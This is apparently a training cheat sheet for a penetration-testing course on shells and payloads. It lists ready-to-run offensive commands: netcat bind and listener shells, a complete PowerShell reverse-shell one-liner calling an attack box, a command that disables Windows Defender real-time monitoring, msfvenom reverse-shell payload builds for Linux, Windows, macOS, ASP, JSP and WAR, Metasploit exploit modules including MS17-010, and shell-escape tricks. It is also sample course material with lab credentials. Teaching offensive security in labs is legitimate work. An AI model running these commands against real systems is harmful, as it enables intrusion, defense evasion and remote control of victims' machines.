Shells & Payloads
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Commands
Description
xfreerdp /v:10.129.x.x /u:htb-student /p:HTB_@cademy_stdnt!
CLI-based tool used to connect to a Windows target using the Remote Desktop Protocol
env
Works with many different command language interpreters to discover the environmental variables of a system. This is a great way to find out which shell language is in use
sudo nc -lvnp <port #>
Starts a netcat listener on a specified port
nc -nv <ip address of computer with listener started><port being listened on>
Connects to a netcat listener at the specified IP address and port
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f
Uses netcat to bind a shell (/bin/bash) the specified IP address and port. This allows for a shell session to be served remotely to anyone connecting to the computer this command has been issued on
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Powershell one-liner used to connect back to a listener that has been started on an attack box
Set-MpPreference -DisableRealtimeMonitoring $true
Powershell command using to disable real time monitoring in Windows Defender
use exploit/windows/smb/psexec
Metasploit exploit module that can be used on vulnerable Windows system to establish a shell session utilizing smb & psexec
shell
Command used in a meterpreter shell session to drop into a system shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf
MSFvenom command used to generate a linux-based reverse shell stageless payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe
MSFvenom command used to generate a Windows-based reverse shell stageless payload
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho
MSFvenom command used to generate a MacOS-based reverse shell payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp
MSFvenom command used to generate a ASP web reverse shell payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp
MSFvenom command used to generate a JSP web reverse shell payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war
MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload
use auxiliary/scanner/smb/smb_ms17_010
Metasploit exploit module used to check if a host is vulnerable to ms17_010
use exploit/windows/smb/ms17_010_psexec
Metasploit exploit module used to gain a reverse shell session on a Windows-based system that is vulnerable to ms17_010
use exploit/linux/http/rconfig_vendors_auth_file_upload_rce
Metasploit exploit module that can be used to optain a reverse shell on a vulnerable linux system hosting rConfig 3.9.6
python -c 'import pty; pty.spawn("/bin/sh")'
Python command used to spawn an interactive shell on a linux-based system
/bin/sh -i
Spawns an interactive shell on a linux-based system
perl —e 'exec "/bin/sh";'
Uses perl to spawn an interactive shell on a linux-based system
ruby: exec "/bin/sh"
Uses ruby to spawn an interactive shell on a linux-based system
Lua: os.execute('/bin/sh')
Uses Lua to spawn an interactive shell on a linux-based system
awk 'BEGIN {system("/bin/sh")}'
Uses awk command to spawn an interactive shell on a linux-based system
find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
Uses find command to spawn an interactive shell on a linux-based system
find . -exec /bin/sh \; -quit
An alternative way to use the find command to spawn an interactive shell on a linux-based system
vim -c ':!/bin/sh'
Uses the text-editor VIM to spawn an interactive shell. Can be used to escape "jail-shells"
ls -la <path/to/fileorbinary>
Used to list files & directories on a linux-based system and shows the permission for each file in the chosen directory. Can be used to look for binaries that we have permission to execute
sudo -l
Displays the commands that the currently logged on user can run as sudo
/usr/share/webshells/laudanum
Location of laudanum webshells on ParrotOS and Pwnbox
/usr/share/nishang/Antak-WebShell
Location of Antak-Webshell on Parrot OS and Pwnbox